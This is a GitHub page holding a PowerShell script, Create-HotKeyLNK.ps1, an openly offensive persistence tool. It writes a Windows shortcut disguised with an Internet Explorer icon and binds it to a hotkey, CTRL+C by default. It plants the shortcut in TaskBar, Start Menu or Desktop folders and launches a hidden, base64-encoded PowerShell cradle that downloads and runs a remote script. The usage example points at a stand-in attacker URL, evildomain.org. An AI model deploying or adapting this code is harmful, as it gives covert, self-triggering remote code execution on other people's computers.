forked from rvrsh3ll/Misc-Powershell-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCreate-HotKeyLNK.ps1
92 lines (62 loc) · 2.86 KB
/
Create-HotKeyLNK.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
function Create-HotKeyLNK {
<#
.SYNOPSIS
Create an LNK file that bind's to a hotkey after reboot.
.DESCRIPTION
Modified from @enigma0x3 https://gist.github.com/enigma0x3/167a213eee2e245986a5ca90bab76c6a
.PARAMETER Name
The name of the .LNK file to create.
.PARAMETER PersistencePath
The path to drop the new LNK file. TaskBar,ImplicitAppShortcuts,Start Menu, or Desktop. Defaults to TaskBar.
.PARAMETER EXEPath
Path to the exe you want to execute. Defaults to Internet Explorer.
.PARAMETER IconPath
Path to an exe for an icon. Defaults to Internet Explorer.
.PARAMETER HotKey
HotKey to bind to. Defaults to "CTRL+C".
.PARAMETER PayloadURI
.EXAMPLE
Create-HotKeyLNK -Name Google -PersistencePath ImplicitAppShortcuts -HotKey "CTRL+C" -PayloadURI "http://evildomain.org/toteslegit.ps1"
#>
[CmdletBinding(DefaultParameterSetName = 'None')]
param(
[Parameter(Mandatory=$True)]
[String]
$LNKName,
[Parameter(Mandatory=$True)]
[String]
$PersistencePath = "TaskBar",
[Parameter()]
[String]
$EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe",
[Parameter()]
$IconPath = "$env:programfiles\Internet Explorer\iexplore.exe",
[Parameter()]
[String]
$HotKey = "CTRL+C",
[Parameter(Mandatory=$True)]
[String]
$PayloadURI
)
$LNKName = "C:\Users\rvrsh3ll\Desktop\" + $LNKName + ".lnk"
if ($PersistencePath -eq 'TaskBar') {
$PersistencePath = "$env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
} elseif ($PersistencePath -eq 'ImplicitAppShortcuts'){
$PersistencePath = "$env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts"
} elseif ($PersistencePath -eq 'Start Menu') {
$PersistencePath = "$env:APPDATA\Microsoft\Windows\Start Menu"
} elseif ($PersistencePath -eq 'Desktop') {
$PersistencePath = "$env:userprofile\Desktop"
}
$payload = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.downloadstring('$PayloadURI'))"
$encodedPayload = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))
$finalPayload = "-nop -WindowStyle Hidden -enc $encodedPayload"
$obj = New-Object -ComObject WScript.Shell
$link = $obj.CreateShortcut($LNKName)
$link.WindowStyle = '7'
$link.TargetPath = $EXEPath
$link.HotKey = $HotKey
$link.IconLocation = $IconPath
$link.Arguments = $finalPayload
$link.Save()
}